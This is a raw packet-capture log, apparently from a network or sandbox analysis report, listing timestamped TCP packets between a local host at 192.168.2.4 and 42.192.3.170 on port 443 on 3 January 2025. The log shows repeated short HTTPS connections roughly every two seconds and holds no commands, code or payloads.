Jan 3, 2025 02:53:13.190701008 CET	49879	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:13.190718889 CET	443	49879	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:13.190726995 CET	49879	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:13.190761089 CET	49879	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:13.318151951 CET	49892	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:13.318167925 CET	443	49892	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:13.318268061 CET	49892	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:13.318480968 CET	49892	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:13.318490982 CET	443	49892	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:14.518994093 CET	443	49892	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:14.519078016 CET	49892	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:14.519470930 CET	49892	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:14.519480944 CET	443	49892	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:14.520657063 CET	49892	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:14.520662069 CET	443	49892	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:15.073807001 CET	443	49892	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:15.073860884 CET	443	49892	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:15.073868990 CET	49892	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:15.074024916 CET	49892	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:15.074062109 CET	49892	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:15.074073076 CET	443	49892	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:15.074083090 CET	49892	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:15.074116945 CET	49892	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:15.197304010 CET	49905	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:15.197328091 CET	443	49905	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:15.197407007 CET	49905	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:15.197664976 CET	49905	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:15.197679996 CET	443	49905	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:16.352039099 CET	443	49905	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:16.352101088 CET	49905	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:16.352466106 CET	49905	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:16.352473974 CET	443	49905	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:16.353671074 CET	49905	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:16.353677034 CET	443	49905	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:16.883343935 CET	443	49905	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:16.883383036 CET	443	49905	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:16.883408070 CET	49905	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:16.883428097 CET	49905	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:16.883640051 CET	49905	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:16.883656979 CET	443	49905	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:16.883668900 CET	49905	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:16.883698940 CET	49905	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:17.005765915 CET	49918	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:17.005815983 CET	443	49918	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:17.005919933 CET	49918	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:17.006108046 CET	49918	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:17.006120920 CET	443	49918	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:18.174279928 CET	443	49918	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:18.174364090 CET	49918	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:18.174704075 CET	49918	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:18.174710989 CET	443	49918	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:18.175843954 CET	49918	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:18.175851107 CET	443	49918	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:18.705533028 CET	443	49918	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:18.705570936 CET	443	49918	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:18.705595970 CET	49918	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:18.705620050 CET	49918	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:18.705827951 CET	49918	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:18.705845118 CET	443	49918	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:18.705863953 CET	49918	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:18.705893993 CET	49918	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:18.836088896 CET	49930	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:18.836110115 CET	443	49930	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:18.836169958 CET	49930	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:18.836396933 CET	49930	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:18.836405039 CET	443	49930	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:20.055650949 CET	443	49930	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:20.055916071 CET	49930	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:20.056485891 CET	49930	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:20.056490898 CET	443	49930	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:20.058877945 CET	49930	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:20.058881998 CET	443	49930	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:20.615375996 CET	443	49930	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:20.615422010 CET	443	49930	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:20.615483046 CET	49930	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:20.741130114 CET	49930	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:20.741139889 CET	443	49930	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:20.741180897 CET	49930	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:20.741202116 CET	49930	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:20.985811949 CET	49945	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:20.985841036 CET	443	49945	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:20.986030102 CET	49945	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:20.989542961 CET	49945	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:20.989557981 CET	443	49945	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:22.174532890 CET	443	49945	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:22.174601078 CET	49945	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:22.175085068 CET	49945	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:22.175093889 CET	443	49945	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:22.176409960 CET	49945	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:22.176414967 CET	443	49945	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:22.721842051 CET	443	49945	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:22.721900940 CET	49945	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:22.721915960 CET	443	49945	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:22.721952915 CET	49945	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:22.726810932 CET	49945	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:22.726835012 CET	443	49945	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:22.726862907 CET	49945	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:22.726896048 CET	49945	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:22.849458933 CET	49957	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:22.849504948 CET	443	49957	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:22.849555016 CET	49957	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:22.850675106 CET	49957	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:22.850692987 CET	443	49957	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:24.032253981 CET	443	49957	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:24.032385111 CET	49957	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:24.034841061 CET	49957	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:24.034848928 CET	443	49957	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:24.036318064 CET	49957	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:24.036324978 CET	443	49957	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:24.580491066 CET	443	49957	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:24.580537081 CET	443	49957	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:24.580542088 CET	49957	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:24.580575943 CET	49957	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:24.580883026 CET	49957	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:24.580900908 CET	443	49957	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:24.580912113 CET	49957	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:24.580945969 CET	49957	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:24.711460114 CET	49966	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:24.711484909 CET	443	49966	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:24.711540937 CET	49966	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:24.711751938 CET	49966	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:24.711764097 CET	443	49966	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:25.889488935 CET	443	49966	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:25.889719963 CET	49966	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:25.901137114 CET	49966	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:25.901141882 CET	443	49966	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:25.902848959 CET	49966	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:25.902853012 CET	443	49966	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:26.423932076 CET	443	49966	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:26.423966885 CET	443	49966	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:26.426953077 CET	49966	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:26.446460009 CET	49966	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:26.446460009 CET	49966	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:26.446487904 CET	443	49966	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:26.446942091 CET	49966	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:26.711636066 CET	49982	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:26.711672068 CET	443	49982	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:26.711731911 CET	49982	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:26.712095022 CET	49982	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:26.712107897 CET	443	49982	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:27.910351038 CET	443	49982	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:27.910599947 CET	49982	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:27.910952091 CET	49982	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:27.910960913 CET	443	49982	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:27.914849043 CET	49982	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:27.914855003 CET	443	49982	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:28.466681957 CET	443	49982	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:28.466727018 CET	443	49982	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:28.466757059 CET	49982	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:28.466820955 CET	49982	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:28.467113018 CET	49982	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:28.467113018 CET	49982	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:28.467129946 CET	443	49982	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:28.470882893 CET	49982	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:28.586488962 CET	49993	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:28.586533070 CET	443	49993	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:28.586587906 CET	49993	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:28.586859941 CET	49993	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:28.586874962 CET	443	49993	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:29.771262884 CET	443	49993	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:29.771373987 CET	49993	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:29.771760941 CET	49993	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:29.771768093 CET	443	49993	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:29.773139000 CET	49993	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:29.773150921 CET	443	49993	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:30.319335938 CET	443	49993	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:30.319386005 CET	443	49993	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:30.319452047 CET	49993	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:30.319633961 CET	49993	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:30.319643021 CET	443	49993	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:30.319670916 CET	49993	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:30.319701910 CET	49993	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:30.433341026 CET	50005	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:30.433363914 CET	443	50005	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:30.433521032 CET	50005	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:30.434205055 CET	50005	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:30.434221029 CET	443	50005	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:31.654274940 CET	443	50005	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:31.654400110 CET	50005	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:31.654854059 CET	50005	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:31.654860020 CET	443	50005	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:31.658858061 CET	50005	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:31.658864021 CET	443	50005	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:32.224875927 CET	443	50005	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:32.224915028 CET	443	50005	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:32.224946022 CET	50005	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:32.224963903 CET	50005	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:32.250957966 CET	50005	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:32.250976086 CET	443	50005	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:32.251002073 CET	50005	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:32.251086950 CET	50005	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:32.366275072 CET	50016	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:32.366303921 CET	443	50016	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:32.366451025 CET	50016	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:32.366689920 CET	50016	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:32.366703987 CET	443	50016	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:33.575771093 CET	443	50016	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:33.575903893 CET	50016	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:33.577341080 CET	50016	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:33.577341080 CET	50016	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:33.577349901 CET	443	50016	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:33.577364922 CET	443	50016	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:34.150677919 CET	443	50016	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:34.150728941 CET	443	50016	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:34.150755882 CET	50016	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:34.150825977 CET	50016	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:34.150980949 CET	50016	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:34.150980949 CET	50016	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:34.150998116 CET	443	50016	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:34.151060104 CET	50016	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:34.257765055 CET	50030	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:34.257777929 CET	443	50030	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:34.257903099 CET	50030	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:34.258191109 CET	50030	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:34.258200884 CET	443	50030	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:35.459125042 CET	443	50030	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:35.459182978 CET	50030	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:35.459589958 CET	50030	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:35.459597111 CET	443	50030	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:35.461162090 CET	50030	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:35.461168051 CET	443	50030	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:36.016417027 CET	443	50030	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:36.016474009 CET	443	50030	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:36.016659021 CET	50030	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:36.039113998 CET	50030	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:36.039127111 CET	443	50030	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:36.039134979 CET	50030	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:36.039186954 CET	50030	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:36.148978949 CET	50038	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:36.149008036 CET	443	50038	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:36.150917053 CET	50038	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:36.154860973 CET	50038	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:36.154875040 CET	443	50038	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:37.304322004 CET	443	50038	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:37.306900024 CET	50038	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:37.308706999 CET	50038	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:37.308720112 CET	443	50038	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:37.309986115 CET	50038	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:37.309992075 CET	443	50038	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:37.833458900 CET	443	50038	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:37.833513021 CET	443	50038	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:37.833545923 CET	50038	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:37.834424019 CET	50038	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:37.944889069 CET	50052	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:37.944906950 CET	443	50052	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:37.945313931 CET	50052	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:37.945554018 CET	50052	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:37.945573092 CET	443	50052	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:39.119262934 CET	443	50052	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:39.119333982 CET	50052	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:39.119822025 CET	50052	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:39.119827032 CET	443	50052	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:39.121253014 CET	50052	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:39.121262074 CET	443	50052	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:39.651360035 CET	443	50052	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:39.651446104 CET	443	50052	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:39.651464939 CET	50052	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:39.651581049 CET	50052	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:39.651855946 CET	50052	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:39.651882887 CET	443	50052	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:39.651957989 CET	50052	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:39.651976109 CET	50052	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:39.758872032 CET	50057	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:39.758919954 CET	443	50057	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:39.759741068 CET	50057	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:39.760113001 CET	50057	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:39.760128975 CET	443	50057	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:40.934792995 CET	443	50057	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:40.934854031 CET	50057	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:40.935266972 CET	50057	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:40.935276985 CET	443	50057	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:40.936450005 CET	50057	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:40.936455011 CET	443	50057	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:41.471461058 CET	443	50057	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:41.471510887 CET	50057	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:41.471518993 CET	443	50057	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:41.471558094 CET	50057	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:41.471877098 CET	50057	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:41.471895933 CET	443	50057	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:41.471904039 CET	50057	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:41.471945047 CET	50057	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:41.586873055 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:41.586913109 CET	443	50058	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:41.590926886 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:41.594875097 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:41.594885111 CET	443	50058	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:42.786025047 CET	443	50058	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:42.786092997 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:42.786550045 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:42.786561966 CET	443	50058	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:42.788049936 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:42.788055897 CET	443	50058	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:43.341855049 CET	443	50058	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:43.341927052 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:43.341962099 CET	443	50058	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:43.341981888 CET	443	50058	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:43.342008114 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:43.342022896 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:43.344532967 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:43.344557047 CET	443	50058	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:43.344568014 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:43.344604015 CET	50058	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:43.462093115 CET	50059	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:43.462142944 CET	443	50059	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:43.462209940 CET	50059	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:43.462515116 CET	50059	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:43.462532043 CET	443	50059	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:44.637552023 CET	443	50059	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:44.637614965 CET	50059	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:44.721400023 CET	50059	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:44.721425056 CET	443	50059	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:44.728518009 CET	50059	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:44.728538036 CET	443	50059	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:45.176093102 CET	443	50059	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:45.176156044 CET	443	50059	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:45.176199913 CET	50059	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:45.176199913 CET	50059	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:45.181081057 CET	50059	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:45.181129932 CET	443	50059	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:45.181154966 CET	50059	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:45.181190014 CET	50059	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:45.289247990 CET	50060	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:45.289292097 CET	443	50060	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:45.289343119 CET	50060	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:45.289674997 CET	50060	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:45.289690018 CET	443	50060	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:46.483700037 CET	443	50060	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:46.485393047 CET	50060	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:46.485393047 CET	50060	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:46.485424995 CET	443	50060	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:46.489044905 CET	50060	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:46.489056110 CET	443	50060	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:47.019481897 CET	443	50060	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:47.019560099 CET	443	50060	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:47.019570112 CET	50060	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:47.019613028 CET	50060	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:47.065728903 CET	50060	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:47.065767050 CET	443	50060	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:47.065778017 CET	50060	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:47.065810919 CET	50060	443	192.168.2.4	42.192.3.170
